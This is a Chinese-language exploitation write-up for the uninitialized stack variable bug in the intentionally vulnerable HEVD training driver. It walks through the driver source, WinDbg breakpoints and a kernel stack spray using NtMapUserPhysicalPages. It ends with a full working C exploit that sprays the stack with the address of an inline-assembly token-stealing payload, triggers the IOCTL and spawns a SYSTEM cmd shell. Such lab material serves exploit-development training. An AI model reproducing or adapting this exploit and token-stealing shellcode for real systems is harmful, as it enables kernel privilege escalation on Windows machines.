分析
首先查看漏洞源码
NTSTATUS
TriggerUninitializedMemoryStack(
_In_ PVOID UserBuffer
)
{
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
#ifdef SECURE
//
// Secure Note: This is secure because the developer is properly initializing
// UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling
// the callback
//
UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };
#else
//
// Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability
// because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure
// before calling the callback when 'MagicValue' does not match 'UserValue'
//
UNINITIALIZED_MEMORY_STACK UninitializedMemory;
#endif
PAGED_CODE();
__try
{
//
// Verify if the buffer resides in user mode
//
ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_MEMORY_STACK), (ULONG)__alignof(UCHAR));
//
// Get the value from user mode
//
UserValue = *(PULONG)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] UninitializedMemory Address: 0x%p\n", &UninitializedMemory);
//
// Validate the magic value
//
if (UserValue == MagicValue) {
UninitializedMemory.Value = UserValue;
UninitializedMemory.Callback = &UninitializedMemoryStackObjectCallback;
}
DbgPrint("[+] UninitializedMemory.Value: 0x%p\n", UninitializedMemory.Value);
DbgPrint("[+] UninitializedMemory.Callback: 0x%p\n", UninitializedMemory.Callback);
#ifndef SECURE
DbgPrint("[+] Triggering Uninitialized Memory in Stack\n");
#endif
//
// Call the callback function
//
if (UninitializedMemory.Callback)
{
UninitializedMemory.Callback();
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
可以看出不安全的版本中并没有初始化变量,而且在下面调用了callback函数,那还能用上次那个类似的方法吗?
然后查看汇编代码
从图中看出偏移都是从EBP那里开始的
然后其控制码
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK IOCTL(0x80B)
通过计算得出为0x22202F
测试
一些过程
设置断点
如果断点设置失败,查看下HEVD驱动加载上了没,没有的话就把虚拟机的驱动卸载重新装一下就行了
查找已加载模块
lm m H*
开启符号加载通知
!sym noisy
重新加载符号
.reload
.reload /f强制加载符号 、/i 指定加载符号名称
查看HEVDpdb文件路径
x HEVD!*
x /D HEVD!a*(查询“HEVD”模块中以字母“A”开头的函数列表)
bp HEVD!TriggerUninitializedMemoryStack
DWORD bytesRetn;
char buf[] = "\xb1\xb0\xd0\xba";
DeviceIoControl(hDevice, HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK, buf, sizeof(buf), NULL, 0, &bytesRetn, NULL);
只能说感谢try_catch
windbg中调试可以看到在偏移+a1就跳走,然后触发错误了,所以我们将断点设置在94查看栈状态
重新设置断点
bp HEVD!TriggerUninitializedMemoryStack+0x94
使用命令查看堆栈,后面那个s就是竖着显示的意思 dds esp
其中902039cc 9020373c是回调函数的地址,如果将shellcode放在这,执行下面的函数就会初始化shellcode,在下面调用执行时候,shellcode就会执行
且当前的EBP,ESP分别为
栈喷射
这里使用到内核栈喷射技术
内核栈布局的简化图:
+---------------------------------+ <== Stack limit
...................................
...................................
...................................
...................................
+---------------------------------+
| VOID (*HandlerRoutine)(); | <== Uninitialized local pointer
...................................
...................................
| nt!KeInternalFunction local |
| variables |
+---------------------------------+
| Stack Frame #3 |
+---------------------------------+
| nt!KeRandomService local |
| variables |
+---------------------------------+
| Stack Frame #2 |
+---------------------------------+
| nt!NtRandomService local |
| variables |
+---------------------------------+
| Stack Frame #1 |
+---------------------------------+
| |
| TRAP FRAME |
| |
+---------------------------------+
...................................
................................... <== Stack Init (default ESP value)
| |
| Irrelevant stack |
| content |
| |
+---------------------------------+ <== Stack Base
??????????????????????????????????? <== Unmapped memory
查看内核堆栈初始化命令为 !thread
得到0x504的偏移量
然后使用NtMapUserPhysicalPages函数使用我们的 shellcode 地址将整个堆栈喷射到一定长度:
NTSTATUS
NtMapUserPhysicalPages (
__in PVOID VirtualAddress,
__in ULONG_PTR NumberOfPages,
__in_ecount_opt(NumberOfPages) PULONG_PTR UserPfnArray
)
(…)
ULONG_PTR StackArray[COPY_STACK_SIZE];
#define COPY_STACK_SIZE 1024
该函数可以在本地存储多达 4096 个用户提供的字节(正好是一个内存页)
My_NtMapUserPhysicalPages NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress(
GetModuleHandle(L"ntdll"),
"NtMapUserPhysicalPages");
PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
memset(StackSpray, 0x41, 1024 * 4);
NtMapUserPhysicalPages(NULL, 1024, StackSpray);
发现已经是喷射到了,所以就可以将其替换为shellcode了
在这里插入图片描述
总体代码
#include<stdio.h>
#include<Windows.h>
#include<Psapi.h>
#include<stdlib.h>
#define LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK 0x22202F
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
; Kernel Recovery Stub
mov eax, 0x1
}
}
typedef NTSTATUS(WINAPI * My_NtMapUserPhysicalPages)(
IN PVOID VirtualAddress,
IN ULONG_PTR NumberOfPages,
IN OUT PULONG_PTR UserPfnArray);
My_NtMapUserPhysicalPages NtMapUserPhysicalPages = NULL;
int main() {
printf("[+] calling createFile() to obtain a handle to the driver..\n");
HANDLE hDevice = CreateFile(LINK_NAME, 0xC0000000, 0, NULL, 0x3, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Error - Unable to obtain a handle to the driver..\n");
exit(1);
}
printf("[+] Successfully obtained a handle to the driver. .\n\n");
NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress(
GetModuleHandle(L"ntdll"),
"NtMapUserPhysicalPages");
if (NtMapUserPhysicalPages == NULL)
{
printf("[-]Failed to get MapUserPhysicalPages!!!\n");
return 0;
}
printf("[+]success to get MapUserPhysicalPages:%p!!!\n", NtMapUserPhysicalPages);
PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
memset(StackSpray, 0x41, 1024 * 4);
printf("[+]Spray address is 0x%p\n", StackSpray);
printf("[++++++]shellcode address is 0x%p\n", TokenStealingPayloadWin7);
for (int i = 0; i < 1024; i++)
{
*(PDWORD)(StackSpray + i) = (DWORD)&TokenStealingPayloadWin7;
}
DWORD bytesRetn;
NtMapUserPhysicalPages(NULL, 1024, StackSpray);
char buf[] = "\xb1\xb0\xd0\xba";
DeviceIoControl(hDevice, HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK, buf, sizeof(buf), NULL, 0, &bytesRetn, NULL);
system("cmd");
system("pause");
CloseHandle(hDevice);
return 0;
}